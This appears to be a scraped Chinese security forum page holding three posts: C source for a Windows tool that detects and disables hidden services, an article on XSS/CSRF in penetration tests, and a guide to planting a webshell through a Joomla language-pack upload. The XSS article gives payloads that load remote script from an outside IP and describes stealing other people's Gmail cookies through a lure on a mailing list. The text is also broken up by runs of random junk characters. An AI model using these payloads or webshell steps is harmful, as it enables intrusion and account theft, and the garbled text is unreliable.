*)hdesc->buffer-vofs )     改为  #define D_OFFS(o) ( (int *)&amp;(key->o)-(int *)hdesc->buffer-vofs )因为在VC中无法打印void * 类型,只得改为int * 。3.将程序中唯一的一处使用snprintf函数该为_snprintf,即snprintf(path,maxlen,"(...)%s",tmp);改为_snprintf(ptth,maxlen,”(…)%s”,tmp);4.添加两个VC不支持的函数来使编译通过void bzero(void *s,int n){     memset(s,0,n);       }int strncasecmp(const char *s1, const char *s2, size_t n){return _stricmp(s1,s2);}    为了表示对Petter Nordahl-Hagen的尊重,我不再修改他的库文件ntreg.c和ntreg.h(除了以上移植的需要),而是将所有需要重写和添加的函数放到KHS.C文件中,这样可以使原来的库文件保持其独立性。    由于在Petter库中openHive函数使用open 和 read 函数来进行hive文件的读取,在VC条件下的read函数有一个问题,每当文件中存在一个0x1a的二进制数值时,read函数就会在那儿终止,这样就会导致hive文件无法完全导入。所以就使用了Windows API重写openHive,命名为My_openHive。相应的还重写了closeHive,writeHive并加上了前缀My_。    随后GetPatterns函数将使用RegEnumKey枚举的服务键值名称保存在pattern的全局变量指针中,为以后的匹配作准备。ShowHideService函数是由nk_ls函数改写的,将由Hive文件导出的buffer中的服务名称与pattern[I]作比较,这个比较过程使用CompareHive函数。若比较结果为相同,CompareHive会将pattern[I]置为NULL,以提高匹配速度,或许有更好的匹配算法,但在这个小程序中也不使用了。若结果不同,则说明该服务是隐藏的,显示出该隐藏服务的名称,文件路径(ShowPathImage是由cat_vk改写的),启动类型和服务类型,并将该隐藏服务的启动类型改为SERVICE_DISABLED。如果存在隐藏服务并且禁止了该隐藏服务(仅在buffer中的修改),通过调用My_writeHive将修改过的hive 的buffer保存在C:        mp2.hiv文件中,此时提供用户一个选择“是否要禁用隐藏服务”,默认的选择是“否”,如果用户确实想要禁用,可输入“Yes”或“Y",接着使用RestoreServiceInfo函数将C:        mp2.hiv文件导回原来的%SystemRoot%/System32/Config/System这个Hive文件中,这一步由系统自己来完成,值得一提的是Win32函数RegRestoreKey即使在dwFlags参数中使用了REG_FORCE_RESTORE (8) ,在第一次调用时往往会错误返回,一般在第二次调用就会成功,所以就使用了一个循环直到它成功后为止,并且调用它的进程需要有SE_RESTORE_NAME的权限。    至于让隐藏服务真正失去作用,仍然需要重新启动计算机之后。下面给出KHS.C的完整源代码:/* * KHS.cpp - Kill Hide Services v0.1* Copyright (c) 2005 linux2linux.** It takes notes from knlsc and FHS.* Thank you, Petter Nordahl-Hagen, for your "NT Registry Hive access library"** Freely distributable in source or binary for noncommercial purposes.*  * THIS SOFTWARE IS PROVIDED BY PETTER NORDAHL-HAGEN `AS IS'' AND* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE* ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF* SUCH DAMAGE.**/         #include "ntreg.h"#include <windows.h>char **pattern;int pattern_count;int nohideservice;int ischange;extern char *val_types[REG_MAX+1];struct hive *My_openHive(char *filename, int mode);void My_closeHive(struct hive *hdesc);int CompareHive(char *sample){      int i;      for(i = 0; i < pattern_count ; i++)      {                     if(pattern!=NULL)           {                 if( strcmp ( sample , pattern[ i ] ) == 0 )                 {                      free(pattern);                      pattern=NULL;                      return 1;                 }           }      }      return 0;}//Because read can't work well in windows.//while it read 0x1a from the opened file, the function read will stop there.//I don't know the reason why, it work well in linux envoriment.// read the dumped hive file to fill hive struct.// return the pointstruct hive *My_openHive(char *filename, int mode){  HANDLE hFile;  int szread;  struct hive *hdesc;  int vofs;  unsigned long pofs;  char *c;  struct hbin_page *p;  struct regf_header *hdr;  int verbose = (mode &amp; HMODE_VERBOSE);  CREATE(hdesc,struct hive,1);  hdesc->filename = str_dup(filename);  hdesc->state = 0;  hdesc->size = 0;  hdesc->buffer = NULL;    hFile = CreateFile(hdesc->filename,        GENERIC_READ,                 // open for reading     0,                            // do not share     NULL,                         // no security     OPEN_ALWAYS,                // existing file only     FILE_ATTRIBUTE_NORMAL,        // normal file     NULL);                                   // no attr. template   if (hFile == INVALID_HANDLE_VALUE)   {     printf("Could not open hive file.");  // process error       return 0;  }    /* Read the whole file */  hdesc->size = GetFileSize(hFile,  NULL);  ALLOC(hdesc->buffer,1,hdesc->size);  ReadFile(hFile, (void *)hdesc->buffer, hdesc->size, &amp;szread, NULL);  CloseHandle(hFile);  if (szread < hdesc->size) {    printf("Could not read file, got %d bytes while expecting %d
- t/ D# W2 ~, m8 n" f! `! j# r1 P, V",          szread, hdesc->size);    My_closeHive(hdesc);    return(NULL);  }  /* Now run through file, tallying all pages */  /* NOTE/KLUDGE: Assume first page starts at offset 0x1000 */   pofs = 0x1000;   hdr = (struct regf_header *)hdesc->buffer;   if (hdr->id != 0x66676572) {     printf("openHive(%s): File does not seem to be a registry hive!# g% i7 d. S* r
",filename);     return(hdesc);   }   for (c = hdr->name; *c &amp;&amp; (c < hdr->name + 64); c += 2) putchar(*c);   hdesc->rootofs = hdr->ofs_rootkey + 0x1000;     while (pofs < hdesc->size) {#ifdef LOAD_DEBUG          if (verbose) hexdump(hdesc->buffer,pofs,pofs+0x20,1);#endif     p = (struct hbin_page *)(hdesc->buffer + pofs);     if (p->id != 0x6E696268) {       printf("Page at 0x%lx is not 'hbin', assuming file contains garbage at end",pofs);       break;     }     hdesc->pages++;#ifdef LOAD_DEBUG     if (verbose) printf(": c  Q" ?' U$ d& J
###### Page at 0x%0lx has size 0x%0lx, next at 0x%0lx ######1 X, `0 a9 }5 ?
",pofs,p->len_page,p->ofs_next);#endif     if (p->ofs_next == 0) {#ifdef LOAD_DEBUG       if (verbose) printf("openhive debug: bailing out.. pagesize zero!
1 l0 V2 {$ [) O. I) \5 O  {4 u6 r& L");#endif       return(hdesc);     }#if 0     if (p->len_page != p->ofs_next) {#ifdef LOAD_DEBUG       if (verbose) printf("openhive debug: len &amp; ofs not same. HASTA!0 P) H7 p3 L7 ]) z/ w
");#endif       exit(0);     }#endif     vofs = pofs + 0x20; /* Skip page header */#if 1     while (vofs-pofs < p->ofs_next) {       vofs += parse_block(hdesc,vofs,verbose);     }#endif     pofs += p->ofs_next;   }  return(hdesc);}void My_closeHive(struct hive *hdesc){  FREE(hdesc->filename);  FREE(hdesc->buffer);  FREE(hdesc);}int My_writeHive(struct hive *hdesc){  HANDLE hFile;  DWORD dwBytesWritten;  hFile = CreateFile("C:\tmp2.hiv",      GENERIC_WRITE,                // open for writing     0,                            // do not share     NULL,                         // no security     CREATE_ALWAYS,                  // open or create     FILE_ATTRIBUTE_NORMAL,        // normal file     NULL);   if(hFile == INVALID_HANDLE_VALUE)  {      printf("Can't open dump file");           return 0;  }  WriteFile(hFile, hdesc->buffer, hdesc->size,&amp;dwBytesWritten, NULL);   if(dwBytesWritten != hdesc->size)  {        printf("WriteHive error
- ~7 T( k/ g+ |9 o1 ~( l( r");  }  CloseHandle(hFile);  return 0;}void CleanPatterns(){      int i;      if(pattern!=NULL)      {           for(i = 0; i < pattern_count; i++)           {                 if(pattern!=NULL)                      free(pattern);           }           free(pattern);      }}void GetPatterns(){      HANDLE hService;      CHAR     achKey[MAX_PATH];      DWORD i;      DWORD retCode;      int Nohide = 1;      DWORD SubKeyNum = 0;      pattern_count = 0;      if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS,// security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {               printf("sorry %d
4 u( `# K1 q4 G, ^- _",GetLastError());           return;      }    RegQueryInfoKey( hService,        NULL,        NULL,        NULL,        &amp;SubKeyNum,        NULL,        NULL,        NULL,        NULL,        NULL,        NULL,        NULL);      //Before it don't work well , because i set the wrong premission of HKEY      //KEY_ALL_ACCESS is needed      if(SubKeyNum == 0)      {           printf("SubKey's Number is NULL, it's too strange., a( i+ w6 q. g3 I
");           return;      }      pattern = malloc(sizeof(char *) * SubKeyNum );      for (i = 0, retCode = ERROR_SUCCESS; retCode == ERROR_SUCCESS; i++)     {         retCode = RegEnumKey(                 hService,      // handle to key to query                 i,  // index of subkey to query                 achKey,  // buffer for subkey name                 MAX_PATH   // size of subkey name buffer                 );                   if (retCode == (DWORD)ERROR_SUCCESS)         {          //What i add to get pattern Services Table.              pattern[ pattern_count ] = strdup ( achKey ) ;              pattern_count++;        }       }       CloseHandle(hService);}void ShowPathImage(struct hive *hdesc, int nkofs, char *path){       void *data;  int len,i,type;  char string[SZ_MAX+1];  type = get_val_type(hdesc, nkofs, path);  if (type == -1) {    printf("No such value <%s>
' M: c$ L& Q, f4 h",path);    return;  }  len = get_val_len(hdesc, nkofs, path);  if (!len) {    printf("Value <%s> has zero length7 |- W( R8 F: {1 @- Q* E! l# Q
",path);    return;  }  data = (void *)get_val_data(hdesc, nkofs, path, 0);  if (!data) {    printf("Value <%s> references NULL-pointer (bad boy!)
% V, C! A. g  S$ A; _# W  _",path);    abort();    return;  }  switch (type) {  case REG_SZ:  case REG_EXPAND_SZ:  case REG_MULTI_SZ:    cheap_uni2ascii(data,string,len);    for (i = 0; i < (len>>1)-1; i++) {      if (string == 0) string = '
) o9 H, V6 C& @';      if (type == REG_SZ) break;    }    puts(string);    break;  case REG_DWORD:    printf("0x%08x",*(unsigned short *)data);    break;  default:    printf("Don't know how to handle type yet!- g5 S" i7 d* n/ l& p
");  case REG_BINARY:    hexdump((char *)data, 0, len, 1);  }}void EnablePriv(LPCTSTR lpName){      HANDLE hToken;      LUID sedebugnameValue;      TOKEN_PRIVILEGES tkp;            if ( ! OpenProcessToken( GetCurrentProcess(),           TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken ) )      {    printf("open process error
5 M8 z- Q2 B1 t( v! P$ y");           return;      }      if ( ! LookupPrivilegeValue( NULL, lpName  , &amp;sedebugnameValue ) ){                 printf("can't find privilege error9 M/ [+ A4 h8 p  M
");           CloseHandle( hToken );           return;      }      tkp.PrivilegeCount = 1;      tkp.Privileges[0].Luid = sedebugnameValue;      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;      if ( ! AdjustTokenPrivileges( hToken, FALSE, &amp;tkp, sizeof (tkp), NULL, NULL ) )      {           printf("adjust error2 \$ L. b( m$ I& J& N
");           CloseHandle( hToken );      }}int DumpServiceInfo(){      HKEY hService;      EnablePriv(SE_BACKUP_NAME);      if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS, // security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {    printf("can't get key handle
+ J7 Z9 ]4 |0 ^0 s' X$ t");           return 0;      }      if(RegSaveKey(hService,"C:\tmp.hiv",NULL) != ERROR_SUCCESS)      {               printf("Can't dump Service info
  |. k7 D; A2 u( F3 e");           CloseHandle(hService);           return 0;      }      CloseHandle(hService);      return 1;}void ShowHideService(struct hive *hdesc, char *path, int vofs, int type){  struct nk_key *key;  int nkofs;  struct ex_data ex;  int count = 0, countri = 0;  //wHAT I ADD  void *data;  int nkofs_cat;  int serviceno;        serviceno = 1;  nkofs = trav_path(hdesc, vofs, path, 0);  if(!nkofs) {    printf("nk_ls: Key <%s> not found8 O/ w& w- x% B1 w3 R8 t' z$ X
",path);    abort();    return;  }  nkofs += 4;  key = (struct nk_key *)(hdesc->buffer + nkofs);  if (key->id != 0x6b6e) {    printf("Error: Not a 'nk' node!  F: @9 B- D/ p5 V
");    debugit(hdesc->buffer,hdesc->size);  }     if (key->no_subkeys) {        while ((ex_next_n(hdesc, nkofs, &amp;count, &amp;countri, &amp;ex) > 0)) {             if(!CompareHive(ex.name) )             {                   nohideservice = 0;                   if(!(serviceno - 1))                        printf("Hide Service List:0 `3 }  p3 i- p! C: g& X; X! f- @
");                    printf("
% k# P6 L9 S4 X  F5 I%d.------------------------------------------------------------' d! e4 q; g& T: _9 C, u- a" W
",serviceno++ );                   printf("Hide Service : %s( Z8 w- W! T+ E6 Q- ^
", ex.name );                   nkofs_cat = trav_path(hdesc, vofs, ex.name, 0);                   printf("Image Path   : ");                   ShowPathImage(hdesc, nkofs_cat + 4, "ImagePath");                   data = (void *) get_val_data(hdesc, nkofs_cat + 4, "Start", 0 );                   if( data != NULL)                   {                           printf("Start Type   : ");                        switch(*(unsigned short *)data)                         {                        case 0:                              printf("SERVICE_BOOT_START");                              break;                        case 1:                              printf("SERVICE_SYSTEM_START");                              break;                        case 2:                              printf("SERVICE_AUTO_START");                              break;                        case 3:                              printf("SERVICE_DEMAND_START");                              break;                        case 4:                              printf("SERVICE_DISABLED");                              break;                        default:                              printf("UNKOWN START TYPE");                        }                                                //disable the service                                                if( *(unsigned short *)data != 4 )                        {                              printf("(Will be set to Disabled)");                              put_dword(hdesc, nkofs_cat + 4, "Start", 4);                              ischange = 1;                        }                                                 printf("( L1 \1 [+ n; x. ~5 c
");                                           }                                      data = (void *) get_val_data(hdesc, nkofs_cat + 4, "Type", 0 );                   printf("Service Type : ");                   if( data != NULL)                   {                        if(*(unsigned short *)data &amp; 1)                             printf("SERVICE_KERNEL_DRIVER ");                                                      if(*(unsigned short *)data &amp; 2)                             printf("SERVICE_FILE_SYSTEM_DRIVER " );                                                  if(*(unsigned short *)data &amp; 8)                            printf("SERVICE_RECOGNIZER_DRIVER ");                                                    if(*(unsigned short *)data &amp; 16)                              printf("SERVICE_WIN32_OWN_PROCESS ");                                                   if(*(unsigned short *)data &amp; 32)                            printf("SERVICE_WIN32_SHARE_PROCESS ");                                                      if(*(unsigned short *)data &amp; 256)                            printf("SERVICE_INTERACTIVE_PROCESS ");                                                      printf("- i6 I/ m  O3 b$ K; G
");                    }             }             FREE(ex.name);    }  }  if(nohideservice)        printf("There are no hide services.- W1 x# t8 S+ l( u; `4 F
");  else        printf("
& u' F4 O5 Q0 D, T# I# @Total Hide Services is %d
6 s! B4 i/ L3 \- J6 _
0 B# R- s3 P" m9 I",serviceno - 1);}int RestoreServiceInfo(){      HKEY hService;      LONG tmp;      EnablePriv(SE_RESTORE_NAME);            if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS,// security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {               printf("Can't open Service key* a- [! W! S% d8 o
");           return 0;      }      //The first time to Restore always fail even you set the Force flag      //The second time will success.      for(;;)      {                     if((tmp = RegRestoreKey(hService,"C:\tmp2.hiv", 8 ) ) == ERROR_SUCCESS )           {                 break;           }      }      CloseHandle(hService);      return 1;}int main(int argc, char* argv[]){      struct hive *pHive;      char c;      nohideservice = 1;      ischange = 0;      printf("KHS - kill hide services 0.1 by linux2linux, 2005/5/26.& Z& E1 J, L. J& ^* {
");      printf("Take notes from knlsc and FHS.                        
+ k. `0 Q$ g, ]: z" `3 i/ Y: j" X! e0 v6 x/ A% \6 V6 I, r+ x
");             if(!DumpServiceInfo())           return 0;      pHive = My_openHive("C:\tmp.hiv",HMODE_RW);      if(pHive == NULL)      {           printf("Open Hive fail) C7 j* b8 V& A  D$ F
");           return 0;      }      GetPatterns();      ShowHideService(pHive,"",pHive->rootofs + 4 , 0);      CleanPatterns();      if(!nohideservice &amp;&amp; ischange )      {                 My_writeHive(pHive);                 printf("Do you want Disable the hide Services ( Yes / No )? [ No ]:");                 c = getchar();                 if( ( c == 'Y' )|| c == 'y')                 {                      if( RestoreServiceInfo() )                            printf("Success Restore
5 e6 p9 z! W  u9 x+ G* V");                 }                 else                 {    printf("Quit without Restore.0 G9 ?) r1 [, F
");                 }                 DeleteFile("C:\tmp2.hiv");      }      DeleteFile("C:\tmp.hiv");      My_closeHive(pHive);            return 0;}参考资源1.The Offline NT Password Editor 源程序 - Petter Nordahl-Hagenhttp://home.eunet.no/~pnordahl/ntpasswd/2.<<Windows NT/2000 Native API Reference>> - Gary Nebbett3.Knlsc, FHS, IceSword 使用说明 + L( [* g! C4 f1 `' J( h( _7 O% J

8 X8 g' x! m3 }; m) A, E1 }/ Q3 B" s; \" [

0 F4 i9 `" |$ @' E6 Q" b) e5 @9 S0 P9 Y9 _- m& h- u# i- V
" Z# j( q$ u9 _, H+ ?
1 l1 {0 ~) v" r8 l. s/ y
9 q- d5 N( p/ P, p! |/ |
! h3 Z# V2 l' O: M# z8 ]
+ t8 `1 O0 f$ n/ p
9 d! V. s# v6 a0 J; O
  S& ~9 I& `0 ~! C) e4 r2 ]1 Y

/ Y6 C6 [: o6 l2 r4 J3 d
0 _: w& {1 U% i  A( f- U  L+ r2 s9 k7 _4 U- g2 _  D; N( a
7 W6 q' d, H" {. d

7 c1 i- B6 H* `8 [% Q% ?* C  |
% U% u/ ]2 P7 i4 [, L* ]0 T2 Q8 ^& V% w. r' W
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

xss/csrf in penetration test
xss/csrf in penetration testauthor: superheidate: 2007-11-29team:http://www.ph4nt0m.orgblog:http://superhei.blogbus.com一.Owning Ha.ckers.org前段时间在Sirdarckcat和Kuza55一起"Owning Ha.ckers.org"中,就是利用xss等的攻击进行渗透[然后没有成功,但是里面的技术细节值得学习],具体技术细节请参考:1.Sirdarckcat的 blog:http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html2.rSnake的blog:http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/首先他们利用了以前rsnake用来测试xss的一个flash:http://ha.ckers.org/xss.swf [现在已经拒绝访问了],由于这个flash本身存在一个xss[Cross Site Flashing:请参考Stefano Di Paola的文档Testing Flash Applications],as2的代码like this:getURL("javascript:alert('xss')", "_self", "GET");stop();在"Flash Lite 2.x ActionScript 语言参考"里有这样的描叙http://livedocs.adobe.com/flashlite/2_cn/main/00000160.html:<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<getURL(url:String [, window:String [, method:String] ]) :Void.....method:String [可选] -- 用于发送变量的 GET 或 POST 方法。如果没有变量,则省略此参数。GET 方法将变量追加到 URL 的末尾,它用于发送少量的变量。POST 方法在单独的 HTTP 标头中发送变量,它用于发送大量的变量。<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<当我们指定第3个参数method:String 为get或者post,可以提交变量追加到url末尾,这个也就意味着getURL函数的url可以injection something :). 我们回到xss.swf 我们提交: xss.swf?a=0:0;eval(alert('xss'); as2里:getURL("javascript:alert('xss')?a=0:0;eval(alert('xss');", "_self", "GET");注意那个?和后面都加到了url的后面,Sirdarckcat使用js的一个3元条件a=0:0;巧妙的闭和了语句.demo: http://60.190.243.111/superhei/xss/xss.swf?a=0:0;eval(alert('xss2'));成功完成了xss.在Sirdarckcat的poc里使用的是:<iframe src="http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;" name="....[playload]"></iframe>这里他们认为rSnake使用ff+noscript,所以使用上面pass noscript,当然现在noscript已经修补了这个bug.a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;这个也就是eval(atob(window.name)).atob=decode base64这个又是他们的一个技巧,使用编码饶过一些检测 ..他的playload好象就是利用一个csrf发了一个blog? 具体没有去看wp的代码 :).在irc里我问过Sirdarckcat为什么他不用,得到cookie然后欺骗进后台,他说好象是后台可能禁止了他的ip登陆.在整个过程,Sirdarckcat和Kuza55利用了n个细节来达到目的,因为他们的目标也是一位xss的牛人,比如还先利用了css来取浏览器的访问历史,来判断目标是不是进过后台[利用css的目的是no script] 等等....二.Owning Some-Hacks's Gmail也是前段时间jx发现了google登陆口的一个xss: http://www.xfocus.net/articles/200711/957.html,在xf公布之前,我使用这个bug测试一下,结果我得到了国内很多搞安全的人的gmail的cookie :)xss点:https://www.google.com/accounts/ServiceLogin?service=mail&amp;rm=false&amp;continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&amp;passive=truel#"></sc'+'ript><scr'+'ipt src="http://60.190.243.111/superhei/ieav/gm.js"></scr'+'ipt>';alert(document.getElementById("f").src);document.getElementById("f").style.width = 0;document.getElementById("f").style.height = 0;</script></body></html>我的playload放在远程的一个js里:http://60.190.243.111/superhei/ieav/gm.js那么怎么让目标访问呢,哈哈,这里幻影的maillist帮了我一个大忙,maillist简直都是我测试的理想场所 .首先我在maillist发了一个phpcms的漏洞公告,里面的内容就是一个link:http://60.190.243.111/superhei/ieav/phpcms.htm,这里phpcms.htm里有我发现的phpcms漏洞的简单分析[由于只是测试,我没有发很引诱人的东西,如ie0day什么的,分析也写的很简单],当然也有我上面构造的xss的代码.我们看看真正的playload:http://60.190.243.111/superhei/ieav/gm.js的代码:getURL("
5 @8 A1 v9 Z: ~5 R# x
. W( v8 C/ k6 O) s, d. r8 ~3 s0 U9 n# ^/ S8 q+ S
) ?  R9 U, t+ w' S$ A

" _3 q+ A8 q' n6 m/ C
9 f% v9 ~# z: I* K8 I) I
9 a3 S$ R7 v8 g: Z5 \
( z1 J) e) y3 ]7 k+ v% N6 H9 t" R9 i2 T, g7 [) W( h, ]" z

* P  Z1 M+ w7 {! q1 J4 w0 T5 T! ^7 V1 P  x5 b( [

6 S2 |5 ~/ c, V. y2 y0 \% M) u, h; d, ]! M6 K) _5 p
! ?' S. {: S0 ?' r/ N" B# N

2 k8 H6 t! C  q6 L
( A2 k8 U, A8 C% n! m
# d; ]7 ~! l/ j/ V) u) v2 e# I" Q/ S2 u( b6 z. P  X. f
: m" `% j4 \! u
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

joomla CMS所有版本后台取WebShell方法
后台有个专门更新插件的接口,只支持上传ZIP文件。
3 G, I  Z& |3 _" }7 |
下载了一个中文语言包ZIP格式的,解压出来如下:
* ]- _& s6 C4 ]/ \2 x3 |$ r
pkg_zh_CN.xml 代码如下:

  i2 `% R- R4 _: u7 A7 u' u
<?xml version="1.0" encoding="UTF-8" ?># S, }9 _$ f1 a2 T: w1 V
<!-- $Id: zh-CN.install.xml 216 2011-03-08 06:44:51Z tchyusuf $ -->3 T+ `# Q+ q) o6 X8 T, C; t- {
<extension type="package" version="1.6">
3 P& @4 z, W6 {/ U* V: y5 V      <name>Simplified Chinese Language Pack</name>, z) d7 W; t3 l" l& X
        <tag>zh-CN</tag>8 i6 u) B- H9 P6 ~, p6 g* p9 g
      <packagename>zh-CN</packagename>, K3 O+ v8 b. S3 J
      <version>1.6.1</version>' U+ V$ I% [$ [3 W4 f0 }
        <creationDate>2011-03-12</creationDate>
, H0 v% x! p/ u/ [. W& A( ^        <author>CHN Translation Team</author>7 S+ i% ~, l3 X& H5 }
        <authorEmail>zhous1998@sohu.com</authorEmail>8 k. _( O' i' a% g
        <authorUrl>www.joomla.cn</authorUrl>9 M- t8 W. w4 V: P* O8 T
        <copyright>Copyright (C) 2010 CHN Joomla Translation Team  

& Y' T% u5 W( c# d: G7 M) A
(http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>
, b2 L! o2 @9 j: _3 v        <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>$ T# r5 j4 Q7 j/ A
        <description>
9 k8 v2 e# l2 @. n# u        </description>( B9 U5 Y3 q2 \2 F) ^$ H4 z- Z
  <files>3 d0 ~0 J+ ~$ R. P% e0 H
        <file type="language" client="site" id="zh-CN">site_zh-CN.zip</file>+ ]2 G. b  Z$ y
        <file type="language" client="admin" id="zh-CN">admin_zh-CN.zip</file>' m) r$ ^& h/ M: H! a
  </files>
5 }: g) i5 W% L# ?7 y& i/ P+ d</extension>  L  ~: a# o" a* t" `: O
% z. |* X% B0 q1 \. \" \' }7 ^
升级或者更新插件读取XML里面的 site_zh-CN.zip 和 admin_zh-CN.zip( W$ z- o" P1 {+ e
解压 admin_zh-CN.zip install.xml 里面的代码:
( ^/ O0 V) Z1 U* c2 [
install.xml:

) d1 C6 H9 d  k! l
<?xml version="1.0" encoding="utf-8"?>, F6 e& j3 \0 z$ F5 Q) t
<install type="language" version="1.6" client="administrator" method="upgrade">/ J8 b3 _0 k" t* y1 q* g
        <name>简体中文</name>
2 p( \$ i; ~' l2 |: r1 W        <tag>zh-CN</tag>1 e+ v, H, ~9 o
        <version>1.6.1</version>+ R' P" t6 K+ d6 z% c) x) I
        <creationDate>2011-03-08</creationDate>' l% j7 g1 J' m9 i2 y4 f& k0 V, C3 B
        <author>Derek Joe(zhous)</author>
$ ]$ P1 e3 C* L8 \9 z, @$ _        <authorEmail>zhous1998@sohu.com</authorEmail>5 D5 {4 b% ^; n2 z( W) T  O( l3 Z
        <authorurl>www.joomla.cn</authorurl>& b% G$ t! ~; h
        <copyright>Copyright (C) 2010 CHN Joomla Translation

9 b6 G2 k% x  p9 N, |8 y, }( p! e
(http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>$ F- T2 J9 t" ^4 l& L
        <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
6 K0 X, M' i) K- }! u        <description>
/ d' {) I0 ]( q        </description>

& u% P. k9 ]1 x. M- W; E0 c
        <files>
  I) S* h& y# Z* P3 Y% c9 e                <filename>index.html</filename>
. [6 L+ a+ b- q6 F! r5 G; u" h                <filename>zh-CN.com_admin.ini</filename>$ D% h4 w' J$ J7 L" l6 A2 p
                <filename>zh-CN.com_admin.sys.ini</filename>, f3 m/ E' }/ T7 F% s8 z
                <filename>zh-CN.com_banners.ini</filename>/ @# A# F+ s2 q. S- D+ Y
                <filename>zh-CN.com_banners.sys.ini</filename>) X5 B# [4 N' D5 C1 M3 @" M* G4 P( H( p
                <filename>zh-CN.com_cache.ini</filename>
  d. X3 i# s; N* J                <filename>zh-CN.com_cache.sys.ini</filename>
* }9 _+ i+ ?% I2 [# a& ~3 d                <filename>zh-CN.com_categories.ini</filename>4 C7 q8 f) b6 I3 g/ d
                <filename>zh-CN.com_categories.sys.ini</filename>5 ^6 y" @' ~% u- W/ F
                <filename>zh-CN.com_checkin.ini</filename>
" U8 \+ X! ?3 A: Q& |( I0 U                <filename>zh-CN.com_checkin.sys.ini</filename>
& d6 g  O5 y. ]' v' w" U                <filename>zh-CN.com_config.ini</filename>
, W! |) I/ k; E8 b$ M" N& v                <filename>zh-CN.com_config.sys.ini</filename>. _. Q7 a. g, l; U3 z( i
                <filename>zh-CN.com_contact.ini</filename>2 i) O6 W9 {6 a/ R5 y4 B
                <filename>zh-CN.com_contact.sys.ini</filename>
: m1 m+ P3 }' [7 R! e0 J) v                <filename>zh-CN.com_content.ini</filename>" Y& \5 o# A2 J2 c
                <filename>zh-CN.com_content.sys.ini</filename>
9 Y5 T; ~( q' O                <filename>zh-CN.com_cpanel.ini</filename>
; ^  L0 U8 ?4 n* b( o
  z. z5 i( o) x. d9 I9 z4 ^在代码下面加上:
+ `2 f7 g/ y/ \) L& y  J$ n6 K
<filename>>xxxxxx.php</filename>
! o6 G1 x' S* x) @
然后再里面创建一个 xxxxxx.php 写上你的大马,打包记得一下要是ZIP文件,否则不能上传。

2 r; z- ~4 V# r7 u9 F+ Q
替换掉原来的 admin_zh-CN.zip,然后再进行打包 site_zh-CN.zip 和 admin_zh-CN.zip。上传安装,你

* r" R/ w$ X0 `* P+ w' ~2 ]
的 xxxxxx.php 会解压到目录:

9 O( v! ]+ H: y$ {: N
administratorlanguagezh-CN

1 D% ^* @2 d$ |
得到 WebShell 的地址:

9 V8 s6 `9 `/ H
http://www.sitedirsec.com/administrator/language/zh-CN/xxxxxx.php

% C: X  ~9 i/ p' G1 a0 ^: P4 ?3 j( }/ |" r  d( Q: Y

/ b- D8 \" m5 t! V: Q/ T' V& ^5 v6 ?) q9 J/ |+ D

7 ?' q4 |! L$ z0 G2 H- q9 d' w4 _- G1 o  u
9 t4 K0 A6 l% N5 D- I

! f8 @/ |! @; i3 I- n* H
7 }- T  E' ]- v/ U0 t+ C
+ |( Z% r9 K# V  R+ j
1 ?! K1 ~; S# {) Z$ V$ y) B8 x% o- g. M$ ?& K

* q$ |( H  E9 @0 `# T* b1 b3 i, C3 g+ t2 s8 Q

9 X$ J4 U0 V: N% D: I+ ?8 c. y8 ~$ Y/ O$ p; i$ [2 F

' o  f  j' G( }! w7 o! ~2 A# y/ J2 n

! P0 R' j0 I' Z! q4 K; Q/ c7 E& {) f; k公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表